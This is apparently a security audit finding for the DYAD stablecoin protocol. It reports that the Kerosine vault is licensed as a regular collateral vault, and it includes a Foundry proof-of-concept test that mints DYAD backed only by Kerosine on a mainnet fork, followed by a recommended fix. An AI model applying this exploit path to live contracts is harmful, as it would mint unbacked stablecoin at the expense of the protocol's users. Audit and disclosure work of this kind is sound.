# The Kerosine Vault Is Licensed as a Non-Kerosine Vault

## Impact
DYAD can be minted which is backed only by Kerosine, with zero exogenous collateral.

## Severity
Likelihood: High - There are no preconditions.
Impact: High - Core invariant broken.
Severity: High

## Description
In Deploy.V2.s.sol#L95 we add the unbounded kerosine vault to the vault manager licenser, which allows adding it as a non-kerosene vault in VaultManagerV2.add#L75. VaultManagerV2.getNonKeroseneValue#L259 will take it as a regular vault and VaultManagerV2.getNonKeroseneValue#L262 reports the vault as licensed, so it can be used as a collateral and we pass the check in VaultManagerV2.mintDyad#L166.

## Proof of Concept
Note that we need to fix the issue with the v1 DYAD supply being counted in the unbounded kerosine vault numerator when calculating the kerosine price. We just replace L67 to subtract the v1 DYAD supply, calculated before the test.
```
uint numerator   = tvl - (dyad.totalSupply() - 11074181000000000000000);
```

Insert the following test into `test/fork/v2.t.sol`, and run it on a mainnet fork:

```
  function testMintWithOnlyKerosine_Debug() public {
    // We license the vault manager to be able to mint DYAD
    vm.prank(MAINNET_OWNER);
    Licenser(contracts.vaultLicenser).add(address(contracts.vaultManager));

    DNft dNft = DNft(MAINNET_DNFT);
    
    // We reset the DNft contract to be able to mint free DNfts
    vm.etch(address(MAINNET_DNFT), address(new DNft()).code);
    dNft = DNft(MAINNET_DNFT);

    // We patch the Unbounded Kerosine Vault so that it doesn't count the v1 DYAD
    vm.etch(
      address(contracts.unboundedKerosineVault),
      address(
        new UnboundedKerosineVaultFixed(
          contracts.vaultManager,
          Kerosine(MAINNET_KEROSENE), 
          Dyad    (MAINNET_DYAD),
          contracts.kerosineManager
        )
      ).code
    );

    uint id1 = dNft.mintNft(address(this)); // We will use this one to deposit some weth and give value to kerosine
    uint id2 = dNft.mintNft(address(this)); // We will use this one to mint some kerosine backed DYAD

    // Obtain weth
    vm.prank(MAINNET_WETH); // deal not working for me
    ERC20(MAINNET_WETH).transfer(address(this), 1 ether);

    // Add the weth vault and deposit 1 eth    
    contracts.vaultManager.add(id1, address(contracts.ethVault));
    ERC20(MAINNET_WETH).approve(address(contracts.vaultManager), 1 ether);
    contracts.vaultManager.deposit(id1, address(contracts.ethVault), 1 ether);

    // Move to the next block to pass the flash loan protection
    vm.roll(block.number + 1);

    // Obtain kerosene
    vm.prank(MAINNET_OWNER);
    ERC20(MAINNET_KEROSENE).transfer(address(this), 100_000_000 ether); // This is a huge amount because the surplus collateral is low and the unitary price of kerosine is also low.

    // Add the kerosene vault and deposit 1 kerosene
    contracts.vaultManager.add(id2, address(contracts.unboundedKerosineVault));
    ERC20(MAINNET_KEROSENE).approve(address(contracts.vaultManager), 100_000_000 ether);
    contracts.vaultManager.deposit(id2, address(contracts.unboundedKerosineVault), 100_000_000 ether);

    // Mint dyad
    contracts.vaultManager.mintDyad(id2, 1 ether, address(this));

    // Success!
    assertGt(ERC20(MAINNET_DYAD).balanceOf(address(this)), 0);
  }
```

## Recommendation
Don't add the kerosine vault to the vault manager licenser. Use a separate licenser for kerosine vaults. ALternatively, add an `isLicensedKerosine` function to the licenser.
